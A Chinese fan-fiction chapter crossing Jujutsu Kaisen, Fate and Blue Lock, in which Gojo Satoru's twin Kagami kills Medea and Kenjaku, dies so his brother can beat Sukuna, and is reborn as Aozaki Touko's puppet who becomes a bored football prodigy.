我清了清嗓子,接着说:“也就是说,我们面对的两面宿傩其实只是被这个魔术师从者复活的使魔。鉴于他们使用的是真正的两面宿傩手指,所以复活后两面宿傩的实力会打折扣但不会太多。而且复活和召唤不同的地方在于:就算杀掉仪式进行者,使魔也不会和从者一样消失。因此我们的敌人其实是连体的御主和魔术师,以及被召唤出来的两面宿傩。” “只是这样吗?”夏油从双腿交叠的坐姿转换成双腿分开的坐姿,他身体前倾,指着我带来的资料,“咒灵因素不需要考虑吗?” 我解释道:“要考虑。只是觉得新咒术界的各位非常可靠,所以没打算多嘴罢了。” 总而言之,那时候我们要面对的就是御主以及魔术师、两面宿傩以及咒灵的四方攻击。但同时间,我们也有着三位特级和一位「反转术式」,以及经过培养的大量专业一级、二级术师。 我看不到「输」的可能。 我相信悟也看不到。但我们那时都忽视了一点:看不到的原因除了不存在外,还有一种可能是「超越了观察者的想象」。 我因为术式的效果被派去对付招数诡谲莫测的魔术师,他的御主是一个额头有一道和圣诞夜的那个男人一样缝合线的女人。看到对手是我时,缝合线女人对着魔术师耳语阵阵,而我也注意到,长袍在身、涂着紫色唇彩的魔术师对我举起了法杖。* 我并没有受过魔术战斗的训练,我的训练时间、都被咒术师的安排挤满了。 “所以你觉得你会赢我吗?”我抹去鼻腔渗出的血,“像魔术师赢魔术白痴那样。” 魔女并未理会我。回应我的唯有半空中猎猎衣袍,与深紫衣袂后密集展开的术式法阵。铭刻着卢恩符文的法阵旋转着,霎时间我只觉得自己被来自遥远神代的恐怖存在投注了冰冷的目光,被迫开始浑身颤抖。并非因为恐惧,只是出于本能,犹如老鼠面对巨龙的本能。 但我能赢。我如此确信。 反转术式在迅速地修复我被法术灼断的筋骨。我刚才会这么狼狈,都是因为我的术式存在一个极为麻烦的发动条件:必须知道对方的「真名」。此前,不管是得到任务目标的名单、还是询问伏黑甚尔的名字、又或者探究缝线男子的真名都是出于这一点。而现在,由于她此前发动的术式,我知道了那位魔女的真名。 要感谢我的母亲,以睡前故事的形式告诉了我如此多魔术界的事,我才会知道「圣杯战争」的存在;以及,那位在冬木市第五次圣杯战争中被召唤的神代天才魔女:美狄亚的真名。 “「美狄亚」。”我以言灵的形式发动术式,这样能稍微强化术式的效果,“停手。” 果不其然,魔女失去了羽翼的加护,从空中突然跌落。 “不,不要!如果消失,我要怎么为宗一郎大人报仇——” 全身的魔力都在她想要发动魔术时刺痛着她的神经,魔女抱着手臂痛苦地尖叫着。* 魔女目呲欲裂地用充满恨意的眼光瞪向我,其中还有因痛苦与绝望渗出的泪水。 虽然同情她的遭遇,但我们毕竟是对立的敌人。我的机会来了,我将老朋友左.轮掏出,指向她身边的那个缝合线女人。 枪响过后,美狄亚在低声啜泣声里化作一团破碎的金色灵子飘向夜空。我并不感兴趣缝合线女人是怎么弄到召唤英灵的办法又是怎么实现的,毕竟这种东西对她——或者是他?这样的老不死来说又不复杂。 我不想那么多。我只想杀掉他。 虽然我觉得被子弹击中头部她就应该死了,但上次的缝合线男也是受到致命伤死掉后,又出现了现在的这个缝合线女。为此,我决定做一点残忍的事情。 “对不起,这位女性。”我叹口气,心里已经猜到这具身体并不属于这个大脑,按理来说应该得到好好的安葬,但为了万无一失我只能这样做,“我会给你立衣冠冢的。” 我凭直觉将缝合线女的头骨拆开。伴着阵涌出的脑浆,脑壳中掉出一个脑子。 ——长、长牙的脑子啊! 它太恶心了,我真的很想吐,但还是得问出它的名字:“脑子,你是什么东西。” 脑子不说话。 我拿枪口戳着它叫它别装死。 脑子桀桀桀地笑起来。 “晚了……已经晚了……” “什么晚了?所以你叫什么名字。”死到临头的反派不都应该喜欢介绍自己吗?漫画难不成在骗我?我心想。 “喂,五条镜,你知道吗?有关天元的术式,究竟是什么这件事。”脑子忽然问我。 “是结界吧。”我没移开枪口,只是勉强提起兴趣敷衍它两句,“不过,结界这种东西就像鸟笼,对旧咒术界的雏鸟而言是保护它们的城堡,但对我们的新咒术界而言,自己的力量是比天元的结界更为可靠的武器。依赖结界度日的时代,早在几年前就结束了。” 脑子大声嘲笑我:“真是白痴的理解啊,五条镜!你们这些当代术师也就此而已了!” 我并不在意它的评价,“毕竟这种东西是机密中的机密吧。” 脑子不笑了,“所以你们,是在对天元一无所知的情况下决定阻止他同化星浆体吗?” “嗯。”我说,“只要有悟在,只要悟有我在,这些问题都可以解决。” “白痴……真是白痴。”这个脑子又在骂我,“你就是个崇拜五条悟的白痴,就连自己的命运都感受不到,就连我对你的邀请都领会不到——五条镜,你这白痴,活该为无下限的新生惨死!”* “虽然不太明白你在叽叽喳喳说什么,但意思就是我会为了悟而死去对吧。” 我很讨厌脑子,因为它的话语,字里行间里透露出苟且偷生的味道。 “那不正是我的未来吗?”我说,欣赏它变得扭曲的牙,“用我让悟成为「最强」。” 我猜测它在上次的袭击下活下来,应该是凭借某种魔术或术式。但那种风格,比起魔术的神秘更像是术式的诡异。不过不管是哪个答案,为了防止脑子再次「复活」,我都要先破坏掉它的术式再杀死它。所以我必须尽快得到它的真名。 脑子被我的话气坏了。我趁此机会使用穷举法,拎着脑子,把我记得的古老的诅咒师跟咒术师在它耳边念了个遍。 “大道纲、黄栌折、鹿紫云一、唔,总不能是这个吧……加茂宪纪?” 脑子没有反应,我开始有点头痛了。 “要不你直接告诉我你的真名吧?作为交换,我向你保证,不会杀了你。” “此话当真?”脑子回答我。 “啊,当然是真的啦。” “不是那个。我不需要你放我条活路。”脑子呲牙笑了起来,“我要你立下「契约」,在这次决战里不对两面宿傩出手。” 无法战胜两面宿傩就会覆灭在今天,但是得不到脑子的名字无疑只会后患无穷。 “限制战力吗?”我权衡了一下利弊,出于对悟和杰力量的信赖,我答应了,“好。” 于是,脑子的真名在我脑中照映。 “唔。那么,「羂索」。”我伸手,在脑子的尖叫和大笑中捏碎了它,“睡吧。” 擦干净手上的脑浆,我赶赴另一片战场支援悟和杰同两面宿傩的作战。 我的眼睛告诉我,被魔女美狄亚复活的两面宿傩有古书中记载生前8/10的实力。 “能赢吗?”靠着杰的虹龙,我得以升到和悟一个高度的空中。看着衣衫破损的悟,这是在十几岁后再也没有出现在悟身上的弱者姿态。 “哈?”很显然悟被对面的诅咒之王打出了火气,“当然会赢啊!” “放心吧,镜。”杰收起严肃的表情,用笑脸安慰我,“有我们在,会没事的。” 但我知道,他们会输。甚至会死。原因不是别的,仅仅是现在的对手对他们来说太强了。 这就是羂索的目的吗?把新咒术界从腐朽中抽枝长出的新芽摧毁?* “如果感觉要输的话,要告诉我。” 我遥遥看了眼对面高楼上的两面宿傩,可怕的杀意让我流下一滴冷汗。 我告诉悟和杰自己与羂索立下的不出手契约,这下他们都知道我没法充当战力了。虹龙将我送回地面,杰告诉我,感觉不安的话可以去安全的地方找硝子把我送回去,或者可以帮别处的咒术师处理一下难以应付的危险咒灵。 我照做了。 悟和杰凭着反转术式还有意志力的加持和两面宿傩打了整整四天的消耗战。我在地面听着别人议论的消息,咒术界对于他们的信心似乎正在两面宿傩造成的大量破坏里慢慢消磨。 为了能结束这场与诅咒之王的战争,我去见了一个人。 “伏黑,帮我个忙。”我放下电话,看着走到我面前的健壮男人,“杀掉我。” “你疯了?”伏黑甚尔没礼貌地问。 “才不是。这只是为了悟能胜利做出的必要牺牲而已。” 伏黑甚尔笑得幸灾乐祸,“那个五条悟也有为了赢别人让兄弟牺牲的一天?” 但他其实知道我的意思。毕竟根据我的调查,伏黑甚尔之前可是禅院家的人。所以他一定懂——「双生子」,这份咒术界内部的恶毒诅咒。也是我出生时女仆和产婆惊慌着要杀掉我和悟其中一个的原因。 在咒术界,每个诞生的孩子都会得到一份自己的咒力,而这份咒力将和术式一起成为他们的力量。但双生子不同,双生子的两人本质是一人,他们的咒力只是在抢夺一人份的咒力而已。 由于双生兄弟或姊妹的存在,「两人加在一起才只有一人的力量」。这就是双生子诅咒的实质。 伏黑甚尔沉默了片刻,问道:“为什么是我?” 我歪了歪头,“因为缘分。” 我的手抚上自己的胸口,那处仍飘散着些许被天逆鉾刺穿时的疼痛。 “是你的那一刀让我的「眼睛」发生了改变,看到了我作为双生子阻碍悟的未来。” 我平静地宣读我看见的终点,新咒术界的终点、这场战争的终点、悟生命的终点。 “所以,我也想请你来为这一切画上一个崭新的句号。” 伏黑甚尔冲我恶劣地笑了笑,但我总觉得,他似乎没之前那么讨厌我了。 “我可要背着五条悟的仇恨干你派给我的活啊,小少爷。”他拿起天逆鉾,真是熟悉到让我心痛的武器,“但——看在你给这么多报酬的份上。” 伏黑甚尔为我选择的死法,是最快最利落的脊髓断裂死法。 那之后,我就不知道我的「身体」还发生什么事了,毕竟我已经死了。 我只知道悟确实战胜了诅咒之王,真正成为了新咒术界的最强。 等等。 如果我已经死了,那么现在像是播电影般回顾五条镜一生的家伙又是谁? 我口中接连出现的,聆听我这一生故事的「你(那人)」又是? 我忽然醒悟这点。再然后,凭着这一丝违和感,我睁开眼睛。 我苏醒在一处像是实验室的地方,但是是欧洲风格的实验室。到处都摆着我看不懂的神秘材料,像是神秘侧的东西。而我被各种长长的输液管连接在一个装置上,在我的前方,一位戴着眼镜,眉目英气却又气质婉柔的橙发女子。 “欢迎来到魔术的世界,五条镜。” 橙发女子倚在桌边,用一种犀利而不失去人性的眼光打量着我。 “自我介绍一下,我是苍崎橙子。既然你的灵魂已经来到这具身体,而我也通过你自身的转述充分了解了你的经历,那么——就告诉你这个现实吧。” 名为苍崎橙子的女人说,不,这么说未必太过失礼,按辈分她应当是我的姨妈。 总之,橙子继续说道:“你的母亲优子,用我和青子的权威当做武器,威慑了五条家乃至咒术界,目的只是保下你和你的哥哥五条悟。其实也算合理——毕竟我也对咒术界此前糟糕的情况略有耳闻,她这么做不管是出于一位魔术师的理性还是出于一位母亲的感性都无比合理。” “那么,橙子小姐,”我舔了舔自己干涩的嘴唇,“我为什么会在这里?” “哼。还看不出来吗?”橙子推了推高挺鼻梁上的眼镜,“——我救了你。” “嗯。所以为什么?”我听过许多魔术师的故事,无论哪一个、无论是否强大,故事里的魔术师也都是自私的利己主义者。我相信,作为和母亲有着一个姓氏的魔术师苍崎橙子也不会是例外。 “因为那件事情被我知道后,我找上你的母亲讨要说法。”苍崎橙子说,“而她则许诺我,我可以在她和她任意一个儿子死后用他们的灵魂制作人偶。” 我的脑子转动了一会,醒悟过来母亲真正的意思后,烦恼地叹气。 “魔术师的「爱」,必须要经过这么别扭的方式才能表达吗?”* 晃晃脑袋,我将这份难以言表的愁绪从脑海里面丢掉,转而看向橙子。 “所以橙子小姐,我现在是一个「有灵魂的人偶」吗?” “呵呵。确实,这次实验很成功。”苍崎橙子微笑道,她的镜片上则闪过一道银光,“多亏了你母亲的大胆尝试。你啊,是在灵魂上真真正正地得到了一次「新生」哦。” “那,我母亲,优子她——” 苍崎橙子说:“优子的灵魂消散了,因为第一次实验的细节不够到位。” “……”我抬起头,由于暂时不知道该不该起身而冲橙子颔首,“谢谢您。” “别忙着谢。”苍崎橙子露出了魔术师特有的攫取利益时充满獠牙的一面。我听到橙子说:“虽然你母亲跟我做的交易只有这些,但见到你之后,我觉得,我还可以索要得更多一点。” “那橙子小姐还想要什么?” 我叹息一声。虽然很不公平,但人在屋檐下不得不低头,万一橙子反悔,把自己的身体弄坏就糟了。 橙子如花般笑着,却用女王般霸道的口吻对我说:“以后,你就是我的奴仆了。”* 2. 比其它事更有意思 那是2013年的年初。 由于将魔术工坊选在了废弃的半成品大楼,橙子和镜的整活总是十分宁静。冬天的街道空无一人,路灯下的积雪要比别处都要纯洁。街边的建筑鳞次栉比,破旧的公园里是灰色的沙地,里面掉落着不知是谁留下的玩具和散开鞋带的脏兮兮的鞋子。* 现在是晚上21:01,镜被橙子收为「奴仆」后一天里唯一两小时休息时段的开始。 “大家,我来晚了。”一个十岁左右的漂亮男孩子抱着足球静静地跑进公园,脖子上缠绕着一条枫红色的网格羊绒围巾。 “镜!”只见那个刚刚出场的男孩子被一群男孩女孩簇拥住,他带着放空的表情看着被高楼遮挡的天空。 男孩子有着精致的外表。色泽如海蓝宝石的瞳孔如海洋波光般闪烁,外眼角在这张精致的脸上留下挑起的弧度,内眼角尖锐则清晰;浓密纤长的银白睫毛,配合同样颜色的银发和刘海显得超凡脱俗。 男孩子刚来这附近不久,他的外表是他能得到小孩一致欢迎的原因。 “镜?”拿着守门员手套的男孩子说,“你在走神吗?” “唔、抱歉。”镜不好意思地点头,走到空地上,“开始吧,我们的「比赛」。” 周围聚集的孩子无不激动地喊叫着,这是一场镜VS所有人的比赛。 “呐呐、镜已经连胜20天了吧?”栗发的女孩子对身边的姐姐说,“他很厉害吧!” 粉橙短发、看起来有十五六岁的女生抱着膝坐在地上,看着场地内的比赛。 “这个比赛的规则是什么?”她问。 女孩兴奋地说:“规则、规则——规则就是让镜挑战所有人,然后射门呀!” “原来那个是球门吗?”女孩中的姐姐指向不远处大象滑梯滑道下的拱形空间。那里正严阵以待着一个满脸雀斑的男孩子。 “嗯嗯!”女孩紧紧抱住姐姐的手臂,双眼探照灯一样紧盯着场地内,“姐姐快看!” 镜在狭小的场地上飞驰奔跑,凭一个漂亮转身迅速掠过对面男孩的防守,直冲中场接近前场的地方。他的姿势简单而敏捷,像阵狂风席卷而过,额前的白发被速度抛在后面,露出一双古井无波的蓝色眼睛。 “姐姐!镜很厉害吧!” 女孩说。少女的眼光集中在如奔逃野兔般的镜身上,粘在他并不高大的身体上。她看到那个容貌姣好如人偶般的男孩子像踩过藤蔓飞跃树枝的兔子般贴地飞向远处的兔子洞。转瞬之间,镜已经到达球门前,直面最后的防守人员。而他的身后是一整排被晃倒的防守队员。 “镜——!加油——!”女孩子脸色绯红地给球场上表现突出的镜加油。 镜朝左边倾斜重心,钟摆似的晃动了一下,守门员便朝左防守。 少女腾地站起来。无人防守的空门,意味着这是进球的机会! 镜对着足球抬起腿——然而就在足尖正要触及球面的刹那,他的右脚忽然静止在了半空。少女看到男孩的脚下扬起的飞雪。将进球取而代之的是男孩百无聊赖地转身,黑白相间的足球停在他脚边。他抬起后脚跟将足球挑起,伸手抱住掠过肩膀飞到怀里的足球。在少女眼里,足球就像是一个和镜结识已久的超级玩伴,他们在一次次窃窃私语中商量出游戏玩法,然后自由地实现,不在乎那在常理之中是怎样犯规和神奇的存在。 “唔。结束了。”镜回过头,对小狗般看过来的孩子们说,“辛苦大家,休息吧。” 少女——或者说,帝襟杏里,目光如炬地凝视走向场边的镜。她走向镜,那时镜正坐在台阶边小口喝水。她注意到男孩的脸上甚至一丝汗水也没有,难道这些活动对他来说连热身都算不上吗? “镜,对吧?”杏里呼出一口白气,手撑在膝盖上,蹲在镜眼前。 “嗯?”镜眨眨眼,逐一打量杏里的面部和衣着,“——啊,是「杏里姐」吗?”他口中的姐姐显然是那个女孩的姐姐。 “嗯!”杏里点点头,她的脸上没有丝毫懈怠或轻慢,“镜,我能问你个问题吗?” 镜放下水杯,拍拍衣服上的雪,跳下台阶,“当然可以,杏里姐想问什么都可以。” 得到允许,杏里直接开口: “镜,最后的机会,你为什么不射门?” 镜的眼神流转了片刻,不远处的孩子们还在追逐打闹中等他回去,但镜的表情却像是身边的一切都与他无关,也包括之前那粒本该由他轻易实现的进球。 镜舔了舔嘴唇,双手紧紧地握在一起。 “因为,”他说,“没意思啊。” 没意思?杏里为镜的回答而惊讶。镜微微转过头来,那双好似从不盛放什么的蓝眼睛扫过杏里,仿佛是在用这种方式向杏里传达他的心情。 杏里回过神来,想到镜刚才远超同龄人的技术表现,问:“因为别人跟不上比吗?” “杏里姐在说什么,我不懂。”镜回答,“我只是看别人都在玩,就跟着玩玩而已。” 镜安静了几秒。但像是被戳破心事,随后,他又忽然向杏里解释起自己的行为。 “我最近才来到这个社会,本来以为会有很多没见过的东西,但其实一切都很无聊。”镜低下头,轻声低喃,“我想找到和之前一样有「意义」的事去做,但人类感兴趣的东西对我来说都很无聊。” 杏里注意到,镜将无聊重复了两次。好像是真的很无聊,但是怎么办,不想放弃遇到的足球苗子啊—— 有了。杏里拿出手机,递给镜,“镜,你觉得足球没意思吗?来看看这个。” “唔?”镜从少女手中将手机接过,屏幕上面是一个加载中的视频。 他的表情很平静。手机里,绿茵场上燃烧着属于球队的夏天,拍摄镜头紧随飞行的足球在场地里晃动着。忽然间,冲出一个猎豹般的球员,驾轻就熟地起跳,写意地一顶后,足球加速飞了出去,场上的欢呼和掌声如雷而动,追随进球的英雄起舞。 镜指着屏幕问杏里:“这是人类吗?” 杏里用力地点点头,“当然是!” 镜缓缓地转回头去,“居然是人类……那还真是了不起。” 镜看完了视频。 “嗯,给,杏里姐,我看完了。”镜将手机递给杏里,“我的看法是……” 杏里看着镜稍微聚焦的眼睛。 “……整体来说,还可以吧。但比起我之前在做的事,还是很一般。” 这个孩子是什么大家族的继承人吗?之前是在做什么了不得的事吗?还有人类这种带有微妙中二感的称呼又是怎么一回事?杏里弄不明白这些,她和镜的关系也暂时不支持她问这些问题。 “但是。”镜话锋一转,脸上超然的神色瞬时消失,“这东西,比其它事更有意思。” 今晚,杏里第一次看到充满「人性」的表情出现在镜的脸上。 银发的男孩子抬起头,望向杏里时嘴角微微上扬,像准备说什么。 但在他开口时眼神忽然一变,急匆匆地起身,“姨妈在叫我回家,杏里姐,回见。” 那个2013年年初的末冬,是帝襟杏里和苍崎镜的第一次见面。 那简短的话语改变了苍崎镜未来至少5年的人生走向。而第二次见面,却既不在第2天、也不在第2个星期。 ——而是6年后的「蓝色监狱」计划中。 但在那以前。 时间:「蓝色监狱」计划启动前13天。 地点:宫城体育馆。 事件:全国高中足球锦标赛,宫城县预选赛决赛,杉泽第三VS一雄* 呼声震地,场地周围的观众席上传来了热切的加油声,这场比赛门票卖得精光。尤其在杉泽第三的队伍出场时,看到某个选手走入阳光下的那一刻时,观众的热情忽然如被点燃的烈火,狠狠拔高了一个度。而后是记者的闪光灯如星辰闪烁。明眼人都看得出来,这场比赛的热度有一大半是杉泽第三那位选手的功劳。 走出长长的准备通道,镜眯起眼,熟悉的欢声鼓舞从四面八方压来,像是束过于沉重的鲜花。身上银白相间的球队制服在风里微微摆动,空旷的足球场上,清凉的气息自脚下湿润的草坪里洋溢出来。 镜熟练地抬起手,以顺时针对各个看台的观众依次招手示意。 队长在旁边咋舌,“不管看过多少次,还是会觉得这场面很夸张啊,镜。” 镜收回手,低低回应:“很普遍吧。” 队长露出牙齿,笑着抱住镜,“是是是。谁叫我们的前锋大人是「天才」呢!” 镜嗯了一声,心不在焉地回头,像是寻找着某人的身影。 “过分,虎杖。”镜小声抱怨,责怪做出承诺的好友,“说好要来给我加油的。” 对方选手已经入场,裁判做出示意,这场比赛马上就要开始了。 算了。镜回过头,将视线从一雄高中的选手头上挨个看过去。 队长带着老狐狸般的笑容和一雄高中的队长鞠躬握手。回到队伍中,他拍拍手把众人集结到一起,短暂地交代: “好了。战术就按之前的那样,所有人的职责只有一个:把球传到镜的脚下!” “好没新意的安排。”镜说,仰着头看着天空,今天是万里无云的晴天。 “额咳!新意不重要,能赢就好。”队长尴尬地说,“总之,小子们,比赛开始了!” 嘟————! 哨声吹响,上半场开场。镜像一条白尾巴的鱼般在前场畅快地游走,尽管他什么都没有做,仅仅只是存在,一雄的中场布阵却已隐隐变得混乱。只等一个 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接球的是杉泽第三的队长,他是在今年的县大赛结束后就要毕业的三年级学生。而这个传球,是作为后辈的镜给他这位学长的毕业礼物之一。 “你的前方畅通无阻。”镜停了下来,眼球如摄影机般放大锁定前场的一切,“去吧,队长。” 绝佳的进球机会。 杉泽第三的队长难掩兴奋。 那我就,不客气了! 下一秒,层层气浪在接触足球的一秒爆开,旋转的足球划过一道流丽的弧线,似一只飞鸟般轻易射入了对手脆弱的球门。 禁区外弧线球远射! 开场15分钟,杉泽第三1:0一雄! “再来两个,应该就结束了。”镜和队长击掌,同时顺便拒绝了其它队员的关心以及毛巾,“谢谢,我没出汗。” “还是那么游刃有余。还有,刚才那个球谢谢你啦,镜。”队长笑嘻嘻的。不过,任谁打这样一场无压力的比赛都不会烦恼吧。“继续吧各位,我们来打对面个十比零!” “这样的话,那我就得努力点了。”镜攥紧拳头,“传球给我吧,我来给球队进球。” 杉泽第三的十一名队员聚在一起,抱着彼此的肩膀。 “3、2、1,加油!” 烈日渐逝。终场哨声吹响,杉泽第三对一雄的比分定格在血肉模糊的9:1上面。 “喂、那家伙真是怪物啊,这样都不会出汗吗……” 一雄高中的后防成员瘫在地上,含着不甘的泪水,看向在哨声响起后就慢悠悠停止动作的镜。 “这种怪物、我们怎么可能赢啊……” 他看着镜。身高184的银发少年抱着花,低下头与包围他的记者交谈。闪光灯像是热吻般落在他的脸上,凭着那张脸与堪称暴力的战绩,有无数粉丝会愿意借由闪光灯将自己的爱意烙印在他的脸上。 一位年轻记者颤抖着问:“请、请请问,苍崎选手,请问你在这场比赛再度实现了进球四粒以上的成就,你对此有什么感想呢?” “还好。”镜看着快塞到自己嘴里的麦克风,“可以。” “苍崎选手,”一位老道的长着胡子的记者提出了尖锐的问题,“你有没有觉得,自己这种追求大比分的踢法是在欺凌对手呢?” 镜歪了歪头,“那我下次少进点。” 还有一位明显是苍崎镜粉丝的男记者,助理举麦克风,自己拿出贴着苍崎镜照片的笔记本,“苍崎选手,请问你是否知道自己被誉为「日本高中足球届的青空」?你对这个称号的意见是?还有,你有成为职业选手的计划吗?” “这是三个问题了吧。”镜说。 第一个问题,不知道; 第二个问题,还可以; 第三个问题,不打算。 “居然不知道?” “那个是重点吗?!重点难道不是——” “欸?!不打算成为职业选手?!” 镜的回答在记者中引起了轩然大波。 “嗯,我会放弃足球。”镜卷着头发,夺过记者们的麦克风,在镜头前无起伏地说:“我选择足球,是因为6年前有一个人让我看到了有意思的足球。但在我看来,整个宫城县乃至整个日本高中的足球都非常无趣,根本没有能踢出那种球的选手存在。所以,我想不明白我为什么要继续在「足球」这件无意义的事上浪费时间。” “就这样。” 镜放开麦克风,毫不留恋地转身,银白队服后的背号「7」在太阳下熠熠闪光。 “把这次采访当作你们对我的最后一次采访吧,诸位,再见。” 3. 崭新的「意义」 虎杖坐在装潢温馨的音频店里,面前摆着两份口味一样的草莓芭菲。看到手机里的直播切到了镜接受了采访,却对所有观众宣告了退出日本足球界的那一段时,他不禁睁大了眼睛,凑近手机,熟褐色的瞳孔紧追着屏幕上白发少年的一举一动。 门被吱呀一声推开,虎杖抬起头,视线迎上门口背着运动背包的少年的视线。 少年拿着手机进来,屏幕上还有未切出去的LINE界面。 注意到虎杖,镜一语不发地走近,将背包居高临下地甩在沙发上。 虎杖扬起爽朗的表情笑着问候。 “喔。镜,比赛结束啦?” “虎杖!-皿-” 虎杖惊呼:“呜哇!这是什么表情?!” 镜那双明亮的蓝眼睛眯成一条缝,使发射出的目光像一把打磨过的利剑一样刺向了他,这招快狠稳准,直击虎杖的良心。 镜坐在沙发上,沉默地盯着虎杖。 “-∧-” 虎杖抓抓头顶,粉色的头发被揉乱,他放下手,试探性地问:“是因为观众……?” “因为你没来当观众。”镜声音低沉但坚定地说,“明明连门票都送给你了。” “这事真的很抱歉!”虎杖反应过来,原地起立,双手合在一起,悄悄观察着镜。 “-v-,唔。” 心情明显提高了! 和镜头前的样子截然不同呢!虎杖感到放心,一边想着,一边把满满一整杯的草莓芭菲推到镜跟前,“给。真的对不起啦。” “虽然甜品是我哥的兴趣,不过看在是虎杖的份上,”镜咕哝着,“原谅你了。” “被原谅了?那真是太好啦。”虎杖从善如流地回答,“对了,吃完要去哪逛逛吗?” “不了,今天能出来比赛是央求姨妈好久的奖励,要是让她知道我跑出去玩耍,”镜沉默了几秒,勺子深深插进芭菲的奶油里,“我绝对会死的。” 整个杉泽第三高中里,只要是对校园情报有所了解的学生都会知道足球社王牌苍崎镜的「三大不可思议」:从原始社会出身般的低下社交常识、挂在嘴边的神秘哥哥和魔王姨妈、以及足球场上请神降临般的表现。 镜拿勺子戳着草莓,莓红色的水果在他的玩弄下变得破破烂烂。 白发少年看着从刚才起就有些神游天外的虎杖,问:“话说,你在看什么?” “刚才?”虎杖举起手机,在镜眼前晃了晃,“是镜的赛后采访啦,已经结束了。” “这样啊。”镜放过无辜的草莓,语气沉稳地说,“不是爷爷的情况变糟了就好。” 想到虽然住院但身体跟精神都很硬朗的爷爷,虎杖大方地摆摆手,露出一个微笑。 “爷爷的情况还好啦,爸妈跟我在轮流照顾他,还有力气骂我呢。”* 镜殷切地看着虎杖,“如果爷爷那边有用到我的地方,一定要跟我说哦,虎杖。” 虎杖抱住脑袋,靠着沙发,“镜还是那么喜欢爷爷啊。” 镜冲虎杖狡黠地勾起嘴角。 “那当然。因为爷爷跟我,是让虎杖加入运动社团的「共犯」嘛。” “喂喂——明明镜都要放弃足球了,干嘛还那么执着要拉我下水啊!” 在虎杖的抱怨声里镜不动如山地品尝着草莓芭菲的甜味。这对形同兄弟的好友只会在「虎杖悠仁是否要加入运动社团?」这一点上面产生矛盾。 镜光速清空了草莓芭菲,甚至连勺子上残留的奶油也没有放过。* “因为我身边的人里只有虎杖能做到「我想象中的球技」啊。”镜咬着勺子纠缠不休地问,“虎杖才是,有能把铅球扔出30m的身体素质,为什么不在人类的大好青春里选择一门体育运动,明明大多数人都会这么做吧。” 虎杖清晰地用语言自己的不理解。 “不,且不管大多数人什么的,我为什么非要加入体育社团啊。” 闻言,镜的眉头紧紧皱在一起,在眉心形成一个浅浅的“川”字。 “「理由」啊,糟糕,我不擅长说服别人来着。” 而且,仔细想想,自己为什么一定要虎杖接受自己的邀请呢?明明自己的性格是不会做强迫朋友的事的。 “——刚才是我多嘴了。” 镜起身,从身边的背包里翻找起来。 虎杖探头,“那东西是什么?” “锵锵。” 镜将手放在眼下,面无表情地摆出了电视里的英雄登场姿势,另一只手死死捏着花瓣般展开的五张票卷。 “队长送的礼品,涩谷最好的卡拉OK门店的零门槛代金券,有整整五张哦。” “喔噢噢!”虎杖配合地鼓起掌来。 “给虎杖。”镜一转手腕,把五张门票合在一起,轻轻放到虎杖手边。 “给我吗?” 虎杖难以置信地指着自己。在得到镜认真而肯定的答复后,接过票卷。 “那我就不客气了,话说回来,镜你居然真的知道我喜欢卡拉OK啊。”* “我们是朋友嘛。”镜拉好背包拉链,将包挎在背上,“好。我走了。” 和虎杖道别,镜如清风般行走在宫城县县内的平凡街道。就如他所说的,他行动的终点是临近郊区的废弃大楼;那个所有人都以为荒废,如疮疤般在宫城县的美丽大地上流脓的灰色大楼,正是镜与橙子一直以来真正定居的地方。 镜站在路口,低头观察手心的纹路。 这具冠位人偶师苍崎橙子制造的完美造物、容纳「灵魂」的人偶身体,很难感觉到累,也不会感觉到痛。同时受到「灵魂」影响,有比一般人偶更优秀的「成长性」。 尽管因为失去□□的缘故,镜失去了与生俱来的咒力、术式与「六眼」,成为了一个「仅仅只是存在方式特殊」的普通人,但他依然有一种笃信的预感:哪怕仅凭现在的自己,也可以做出些和之前一样特别的事。 那预感来得如此自然,可是,当镜试图捕捉它,它又展示出它倏忽泡影的一面。 6年前的雪夜,镜趴在在橙子布置好的大楼的窗边,隔着模糊的雾气往外面看。 他想起自己诞生那日,五条宅的庭院里也下着这样的雪。 镜朝玻璃中的自己伸出手,眼里满是清澈的困惑。他看向那双满溢神性的眼睛,那双眼睛总是让他难以用语言去形容。 橙子走进屋来,带着不容置疑的语气,“嗯。今天的观察结束。你可以出去玩了。” “橙子姐,我又不是真的小孩子。” 镜下意识反驳,随后停顿。他从眼前这面玻璃中看到整个房间的景象,也包括了自己身后的苍崎橙子。 “——。”橙子勾起嘴角,镜片下的眼睛闪过一丝洞悉的光芒,“你有心事?”她问。 镜不确定地说: “还好。” “想念自己的朋友了?” 橙子没将我放在眼里,她完全是在用揣测普通孩子的眼光揣测我。 为了证明自己,镜鼓气说道:“我才没有那么无聊。我只是觉得无趣而已。” 橙子笑道,她的脸上写出了不以为然。 “也许,你需要一些如野狗般在你身后紧追不放的佣兵;那些人看上了你的价值,嗅着你的气味,直到将你咬成尸块带回给它们的主人才会停手。”* 镜不理解橙子的话,但直觉告诉他橙子用轻描淡写的语气说了很可怕的东西。 男孩有些泄气。 “对不起,我好像说了难理解的东西。” 会想起这些东西,一定是自己肚子饿了的缘故。镜捂着肚子;赶快回家,做一顿热腾腾的四菜一汤大餐就会好些了。 于是,他加快脚步穿梭县里的街道,提前20分钟回到了与橙子的家中。 “橙子姐,我回来了。”镜打招呼 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镜屈服了,他放松身体、躺在地上,头脑混乱地想橙子到底去哪了。 这时,他忽然从天地倒转的视角里注意到正门前方那尊雕像下面压着两封信。 镜翻身站起,用指尖一点点如临大敌地将那两封信从雕像的底座下抽了出来。 指尖触碰第一封信的瞬间,镜便感受到熟悉的力量。 “……橙子姐的魔力。”镜目光游离,在洋馆的大门前来回踱步,“……拆开看看。” 镜急匆匆地撕下火漆,取出信件。他隐隐期待信上是橙子对自己下落的说明。 但即使他已将信纸完全展开,不管正面还是背面都看了个遍,自诩冷静的苍崎镜也无法否认:这玩意就是一张徒有橙子魔力残留的空白的信纸。 灰心丧气地坐回地上,镜抱怨道:“居然突然把我丢下……我还以为我做的不错呢。” 橙子的下落失去了线索。那如风一般出现在世界各地,继续着恣肆旅行生活的橙发魔女,与她还算省心的外甥的缘分就这样暂时告一段落。 “不,还有另一封。” 镜摇摇头,鼓起勇气小心地拆开另一份信。虽然那封信既没有橙子的魔力,就连材质也不是家中信封的材质,但说不定是橙子突发奇想寄给自己的信呢? “寄信人:「日本足球协会」。” 镜读完信封上的字,聚精会神的眼睛变得混浊。他揉皱了信封,将它丢在地上。 “去做饭好了。”镜给自己下令,他换下鞋子,悠哉地走向厨房,却又在走到一半时脚步一顿,“还是把「垃圾」捡起来吧。”万一橙子只是出门闲逛,过会就回来了呢?虽然自己从没见过橙子出门,购物都由他来代劳;而且自己心中「仿佛要失去什么」的预感一直都很强烈。但是,万一呢? 